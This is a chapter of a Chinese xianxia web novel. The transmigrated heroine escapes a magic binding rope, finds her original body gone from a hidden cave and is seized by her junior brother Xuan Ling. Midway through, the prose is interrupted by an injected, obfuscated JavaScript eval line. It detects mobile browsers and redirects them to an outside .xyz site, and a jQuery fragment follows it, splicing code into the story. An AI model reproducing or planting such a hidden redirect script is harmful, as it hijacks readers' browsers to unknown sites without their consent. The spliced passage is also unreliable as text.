强自镇定下来后,常栩不再理会楚绝,心知这丫头绝不会给她半点逃脱的机会。
她转而看向展玉川,径直走上前,将被缚的手臂伸到他面前,冷声质问:“无凭无据,为何这样对我?天元宗便是这般行事的?”
展玉川向来注重门派声誉,听她如此说,耐心解释道:“许掌门修为高深,当初太阴城之事天下皆知,诸位如此防备也是情理之中。”
“我信得过你,但信不过他们。”
常栩指向楚绝,“尤其那丫头。你也看到了,她心仪韩尚同,视我为眼中钉,若途中借机折磨我,又当如何?若我不明不白死在路上,你们天元宗只怕要与苍华结下梁子。”
“我毕竟是韩尚同的师姐,若真在你眼皮底下出事,他断不会善罢甘休。你总不愿他因此与你生出嫌隙吧?”
这话算是正中展玉川的心事。他略带遗憾地说:“韩兄重情重义,实不该卷入这等是非。若有可能,我倒是盼他能转投天元宗门下。”
常栩:“……”
好家伙,这小子瞧着一本正经,竟然存了挖墙脚的心思!她这掌门可还没死呢!
不过眼下情势危急,常栩转念一想……嗯,倒也不是不能暂且“死一死”。
于是她放缓声音,温言道:“你说得有理。只要你护我周全,等到日后见了韩尚同,我定替你美言几句。”
常栩素来嚣张,南玄与伏幽派众人何曾见过她这般轻声细语的模样,不禁面面相觑,捉摸不透她究竟打的什么算盘。
展玉川有所迟疑,似乎说动了。
楚绝一脸嫌恶:“许长生,休要危言耸听。在你的罪行昭告天下之前,我们岂会容你轻易死去?那对我们有何好处?”
“是吗?你真能保证不杀我?”常栩试探性地拿出一个杀手锏,问道,“……可还记得我师弟宣凌?”
楚绝顿时变了脸色,咬牙切齿道:“许长生,你竟还敢提他!”
展玉川想了想:“宣凌?便是那位从天元宗失踪的苍华弟子?”
“正是。”常栩加重了语气,“宣凌失踪,你们天元宗本就难辞其咎。苍华派至今未追究,是因为信你天元宗公正。可若此番我你再不看好我,但凡发生一点意外,天元宗的颜面只怕真要扫地了!
展玉川终于被她说动了。
见楚绝怒不可遏、撸起袖子似乎要动手,他上前一步拦住,劝道:“楚姑娘,稍安勿躁。真相未明前,许长生仍是苍华代掌门,容不得你这般羞辱。既然她有这要求,便由我来看守吧。”
楚绝咬紧牙关,怒气冲冲地转身离去。
她怕自己再多待一刻,真会忍不住杀了这女人!
南玄的聂长老对此无甚意见,伏幽派的人也未反对,只警告道:“许掌门,我们不会伤你,但也请你安分些,莫耍花招。”
常栩心道,不搞事?留在这里等死吗?
众人散了之后,她坐在离展玉川三丈远的地方,背对着他,暗中询问系统可有解除绳索之法。
这鬼东西竟似活物,越收越紧,还在不断吸取她的灵力,可真不像正派之人会用的东西。
研究绳索之余,常栩耐心静候夜幕降临。
月悬中天,一行人在林中歇脚。
有弟子来寻展玉川商议事情,他回头瞥了一眼,发现常栩已在法阵中安然入睡。
因她一路还算安分,又是自愿前往天元宗,展玉川并未怀疑,只稍微加强了阵法的防护,便随那弟子离去。
也正是在这时,常栩睁开了眼睛。她一把扯下臂上绳索,随手丢开。
短短半日,体内的灵力已耗去大半。
时不我待,常栩唤出赤荧剑,迅速从山崖跃下,隐入夜色中飞行。
这群人中除了展玉川外皆非她的对手,因而无人察觉,让她轻松脱身。
常栩本打算先回苍华从长计议,飞至半途,远方天光渐亮,才发觉正好行至永川镇外的山林。
裳儿的身体就藏在附近的山洞中。
想起近日发生的种种,常栩心下莫名感到不安,于是方向一转,来到了那处隐蔽的、设有阵法的山洞。
然而,用于遮掩气息的法器不知为何掉落在了洞口,已经失效了。
常栩定定地走入山洞,望向中间的玉床。
本该躺在那里的、自己的身体,不翼而飞了。
到了此时,她终于注意到角落里散落的那几块碎玉,与昀秀峰外所见如出一辙。
常栩心头警铃大作,几乎不及细想,近乎本能地飞身冲出山洞,直往不息山赶去——
她前所未有地意识到,危险就在附近。
可这次才起飞不久,常栩悚然发觉,体内的灵力竟然出现波动,变得紊乱。
紧接着,手臂先前被缚之处倏地浮现红色勒痕,阵阵刺痛袭来,伴随一股强烈的魔气。
常栩这才发觉,那条该死的绳子比她想的还要怪异,明明已经解开了,竟还残存效力,令缓慢恢复的灵力加速流失。
这是什么邪术!
想起楚绝取她血滴在绳上的一幕,常栩忍不住暗骂,这小丫头几年不见,竟变得如此阴险!
能拿出这种充满魔气的东西,她现在万分确定,楚绝百分之一万与宣凌有关!
那小子说不定正布下陷阱等她自投罗网,必须尽快躲起来!
常栩心下焦急,不自觉加速催动灵力。
然而由于流失太快,她没能把握好飞行的速度,一时失控,竟从剑上甩落,一头栽向下方的闹市。
“哐”的一声巨响,常栩从空中坠落,重重砸在地上,摔得头晕眼花、狼狈不堪。
也顾不上疼,她第一反应是迅速蒙住自己的脸——太丢人了!
常栩当了这么久的许长生,时刻不敢崩人设,早将体面刻进骨子里,何曾有这般丢人的时候,坚决不能辱没了名声。
周遭百姓只见飞在空中的仙人如流星般坠地,纷纷驻足围观,有几个胆大的还上前几步,探看这位“仙人”是否安好。
常栩捂着脸摆摆手,勉强爬起,用了仅存的微末灵力简单疗伤。
才不过几息之间,她的法力已近乎枯竭。
深感大事不妙,常栩一瘸一拐地站起,抓起一顶斗笠遮在脸上,埋头将自己隐入人群之中。
凭借对永川镇的熟悉,她很快摸近城门。
常栩在心里盘算好回不息山的路线,掀开斗笠向远处看了一眼
然后,她就停下了脚步。
只见永川镇外围的空中,天元宗、南玄与伏幽派的人正陆续赶来,完全堵住了她的去路。
怎么会这么快!
常栩简直欲哭无泪。
这下可不止南玄和伏幽派要找她麻烦,展玉川被她骗了这么一回,只怕是也要对她不假辞色了。
果然,下一刻,展玉川灌注灵力的声音响彻永川镇上空。
“许掌门,还请现身吧。可知此番逃走,更坐实了你的嫌疑。”
常栩却不甘心束手就擒,趁着还没被发现,顺着人流悄然后退,打算先在镇中避一避。
忽然,城门口原本安静的百姓不知看到什么,发出一阵惊呼,瞪大了眼睛仰首望天。
与此同时,常栩感到一股令人毛骨悚然的、熟悉至极的力量自身后涌现,与她体内残存的魔气遥相呼应,宛如排山倒海般压来。
她几乎完全没有思考、不敢回头,下意识便要逃跑。
那力量似有所觉,顷刻袭来。
常栩仓惶横剑抵抗,却犹如蚍蜉撼树,“铿”地被震飞数丈。
这一击之后,她最后一丝灵力彻底溃散,手臂被震得发麻,长剑跟着脱手。
百姓们自觉让出一条道,将常栩完全暴露在所有人的目光之下。
“师姐。”
温柔缱绻的声音,却让人的脊背无端攀上寒意。
这一年多来,唤常栩师姐的人很多,唯独这个声音,她一刻不敢忘。
宣凌。
常栩僵硬地从地上爬起,深吸一口气,终于鼓足勇气回头。
一年不见,宣凌身量更高了些。他穿着一袭素色长衫,踏空而至,缓缓落在她面前。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362932|183775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墨色眼眸静静凝视她,其中不见怨恨,亦无愤怒,唯余一片沉郁的……悲伤。
常栩从未想过,会在宣凌脸上看到这样的神情。
等一下,比起这个……
常栩的目光缓缓下移,看清了他怀中紧抱的女子,宽大袖袍掩去大半身影,仍可见那张恬静面容——
是“裳儿”。
常栩脑中顿时一片空白。
宣凌的指尖轻抚过少女脸颊,柔声问:“这是我心爱之人。师姐,可认得她?”
与此同时,系统在常栩脑中发出震耳欲聋的通报:
【叮!恭喜宿主!再遇宣凌,成功开启最终任务:身败名裂、碎尸万段!请于十天内完成!】
常栩默然良久,问系统:“我的身体就在宣凌手里。你说,若他现在要杀我,我还有机会逃吗?”
系统:【……恐怕不能。】
完了!
常栩试图挣扎:“能不能通融一下,要是他现在就杀我,也算我完成任务,让我带着长生跑路行不行?”
系统无情驳回:【不可,宿主必须按流程,先身败名裂再被杀。】
垃圾系统!死板!教条!
常栩腿一软险些要求饶,好歹忍住。
过了一会儿,见宣凌似乎并无立即动手之意,她试探道:“这段时日你去哪儿了?”
宣凌轻声问:“没能杀了我,师姐很遗憾吗?”
听出话中的怨怼之意,常栩心里一梗,感觉脖子上凉飕飕的……
随后想起原著重逢时,许长生只说一句便被割了舌头,她后知后觉地闭上嘴。
宣凌将她的沉默看作默认,眸光更黯,语气却越发温和:“一年不见,师姐还是老样子,就这般不愿与我说话?”
无形杀意迫得常栩不得不开口:“宣凌,别忘了你是魔族,难道想在此暴露吗?不如我们做个交易……”
宣凌微微一笑:“师姐的手段高深莫测,若无万全准备,我怎敢贸然相见?”
话音甫落,常栩感到喉间一紧,已然说不出话来。
她变哑巴了!
另一边,天元宗与南玄派众人也围了上来。
楚绝对展玉川冷笑:“前辈还有何话说?人是从你手中逃脱的,若非我们早有准备,你待如何交代?”
展玉川叹气:“难怪你如此恨许掌门,确实甚是可疑。此事是天元宗失责,便依你所言,先将许掌门带去南玄吧。”
不行!
常栩大急,一把拽住展玉川衣袖死不松手,拼命以眼神恳求他带自己走——
这群人里就他还算讲理,她如今灵力尽失,若落到盛怒的宣凌手里,怕是轻则伤残、重则灰飞烟灭啊!
想到原著中许长生挫骨扬灰的下场,常栩说什么都不肯放手。
旁边的宣凌静静看着这一幕,唇角笑意更深。
可惜常栩没什么气力,轻易就被展玉川拂开,转而由南玄弟子架住。
“许掌门,莫再挣扎了。”
楚绝走到宣凌身侧,望着他怀中少女,面露哀戚:“公子,您终于寻回裳儿姑娘了。”
展玉川不动声色地看了一眼,识相地没有问具体情况,只对宣凌道了声“节哀”。
宣凌捋着裳儿否发丝,深情凝视她安详的睡颜:“无妨,找到她便好,我已放下了。”
展玉川道:“真未料到许掌门竟会做出此事,当真是……”
他略带责备地看了常栩一眼。
常栩:“……”
怎么办,百口莫辩。
不过,为何宣凌会说裳儿是他的爱人啊?
他这眼神是不是不太对劲?
很快,天元宗与伏幽派众人相继告辞离去,只剩下宣凌和楚绝。
常栩看见宣凌将裳儿交由楚绝,看着他朝自己走来,满脑子只剩“你不要过来啊!”
然而没什么用。
宣凌将没了灵力的常栩打横抱起,在她耳边温声道:“走吧师姐,我还有好多话要想同你说。”
这句话说完,常栩彻底失去了意识。